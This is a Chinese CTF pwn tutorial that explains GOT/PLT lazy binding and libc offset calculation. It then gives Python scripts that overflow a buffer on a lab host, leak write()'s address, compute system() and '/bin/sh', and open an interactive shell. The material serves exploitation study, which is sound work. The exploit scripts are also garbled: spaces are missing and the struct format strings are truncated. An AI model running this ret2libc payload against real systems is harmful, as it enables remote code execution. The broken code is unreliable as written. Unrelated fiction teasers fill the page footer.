pwn6 介绍got plt以及libc.so

GOT表和PLT表:

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

延迟绑定:

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序

下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

bar@plt:

jmp bar@got

patch bar@got

这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。具体来看个实例:

vulnerable_function函数调用了read函数,由于read函数是动态链接加载进来的只有在链接的时候才知道地址,编译时并不知道地址

执行call _read函数会

跳到plt表中寻找中:


plt表中会继续跳入到got表中寻找


got表中的所存的read函数的地址便是在pwn6进程中的实际地址,也就是


信息泄漏的实现

在进行缓冲区溢出攻击的时候,如果我们将EIP跳转到write函数执行,并且在栈上安排和write相关的参数,就可以泄漏指定内存地址上的内容。比如我们可以将某一个函数的GOT条目的地址传给write函数,就可以泄漏这个函数在进程空间中的真实地址。

如果泄漏一个系统调用的内存地址,结合libc.so.6文件,我们就可以推算出其他系统调用(比如system)的地址。

ibc.so.6文件的作用

在一些CTF的PWN题目中,经常可以看到题目除了提供ELF文件之外还提供了一个libc.so.6文件,那么这个额外提供的文件到底有什么用呢?

如果我们可以利用目标程序的漏洞来泄漏某一个函数的地址,那么我们就可以计算出system函数的地址了,当然,被泄露地址的函数必须也定义在libc.so.6中(libc.so.6中通常也存在有/bin/bash或者/bin/sh这个字符串)。

计算system函数地址的基本原理是,在libc.so.6中,各个函数的相对地址是固定的,比如函数A相对于libc.so.6的起始地址为addr_A,函数B相对于libc.so.6的起始地址为addr_B,那么,如果我们能够泄漏进程内存空间中函数A的地址address_A,那么函数B在进程空间中的地址就可以计算出来了,为address_A + addr_B - addr_A

pwn6代码和pwn4,5一样只是export表中已经没有了system函数,而且开启了nx,开启了aslr

思路:

pwn6中已经没有了system函数但是可以查看到例如wirte函数或者read函数的地址,另外由于题目给了libc.so,所以可以查看到write相对libc.so的相对地址,已知write函数的加载到内存的地址,通过write函数和sysytem函数在libc.so中的偏移可以计算出sysytem在pwn6程序中的地址,从而达到getshell。

首先利用漏洞程序泄露write函数在pwn6中的地址,通过ida交叉引用发现两处被调用




根据上面介绍延迟绑定时的分析,由于linux开启了aslr,libc每次加载的地址不一样,所以每次加载write函数在进程中的地址也不一样,但是aslr没有影响到.text段,所以通过got表write函数的地址每次加载便可以找到write在进程中地址。根据此我们可以得出利用wirte函数泄露write函数在进程中地址的栈攻击模型:

泄露leakpython代码:

#!/usr/bin/env python

# -*- coding:utf-8 -*-

importsocket

importstruct

def P32(val):

"""将32位数据转换成字符串(小端模式)"""

return struct.pack(",val)

def UP32(s):

"""将字符串还原为32位数据(小端模式)"""

return struct.unpack(",s)[0]

def leak_info():

#创建socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#连接远程服务器

s.connect(("10.1.1.101",9993))

#构造payload数据

payload='A'*140+P32(0x080483A0)+'A'*4+P32(1)+P32(0x0804A010)+P32(4)

#发送payload数据

s.sendall(payload+'\n')

#接收write函数地址(信息泄漏)

write_addr=UP32(s.recv(4))

#打印write函数地址

print"write() address: 0x%08X"%write_addr

if__name__=="__main__":

leak_info()


我们已经能够泄漏write函数的地址了,这样我们就可以计算出system函数以及/bin/sh字符串的地址。在libc.so.6中,system函数的地址为0x0003AF70,/bin/sh字符串的地址为0x001566A4,write函数的地址为0x000D2850。



假设实际上write函数的地址为write_addr,system函数的地址为system_addr,/bin/sh字符串的地址为binsh_addr,那么下面的等式成立:

write_addr - 0x000D2850 = system_addr - 0x0003AF70 = binsh_addr - 0x001566A4

现在面临的问题是,每次通过leak_info.py获取到的write_addr是变化的,这是因为每次启动进程后write函数的实际地址也是变化的,所以我们需要把信息泄漏和获取服务器控制权限在一次网络连接中完成,这该如何实现呢?

借助于两次缓冲区溢出即可完成这一过程。第一次缓冲区溢出泄漏write的地址之后,我们让EIP再次跳转到vulnerable_function来执行,这样就可以接着进行第二次缓冲区溢出的过程,此时执行system("/bin/sh")即可,如下图所示:


构造payload:

importsocket

importstruct

importtelnetlib

defP32(val):

"""将32位数据转换成字符串(小端模式)"""

returnstruct.pack(",val)

defUP32(s):

"""将字符串还原为32位数据(小端模式)"""

returnstruct.unpack(",s)[0]

defpwn_server():

#创建socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#连接远程服务器

s.connect(("10.1.1.101",9993))

# vulnerable_function函数的地址

vuln_addr=P32(0x08048474)

#构造payload数据

payload='A'*140+P32(0x080483A0)+vuln_addr+P32(1)+P32(0x0804A010)+P32(4)

#发送payload数据

s.sendall(payload+'\n')

#接收write函数地址(信息泄漏)

write_addr=UP32(s.recv(4))

#根据公式以及write函数地址计算system函数以及参数的地址

# write_addr - 0x000D2850 = system_addr - 0x0003AF70 = binsh_addr - 0x001566A4

system_addr=P32(write_addr-0x000D2850+0x0003AF70)

binsh_addr=P32(write_addr-0x000D2850+0x001566A4)

#构造第二阶段的payload数据

payload='A'*140+system_addr+'A'*4+binsh_addr

#发送payload数据

s.sendall(payload+'\n')

#创建telnet获取shell

t=telnetlib.Telnet()

t.sock=s

t.interact()

if__name__=="__main__":

pwn_server()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,723评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,485评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,998评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,323评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,355评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,079评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,389评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,019评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,519评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,971评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,100评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,738评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,293评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,289评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,517评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,547评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,834评论 2 345

推荐阅读更多精彩内容

  • 最近在学蒸米的《一步一步学ROP之linux_x86篇》,内容写的很详细,个人学到了很多,但同时学的过程中也有很多...
    2mpossible阅读 1,504评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,600评论 18 139
  • 你好,我是showhand,广场舞是一个非常普遍的中国式的奇观,每天一到傍晚,莫说是各个大小广场,即便是任何一个超...
    showhand阅读 246评论 2 1
  • 01 朋友小A最近很是郁闷。公司里有位资格较老的同事,最近与她合作一个项目。本来看着挺不错的一个人,真正相处起来,...
    庐山烟雨L阅读 828评论 0 4
  • 《高绩效教练》P39提高觉察力和责任感最有效的问题应以寻求量化或收集事实的词语开始,比如“什么”,“何时”,“谁”...
    漫曼鱼阅读 200评论 0 0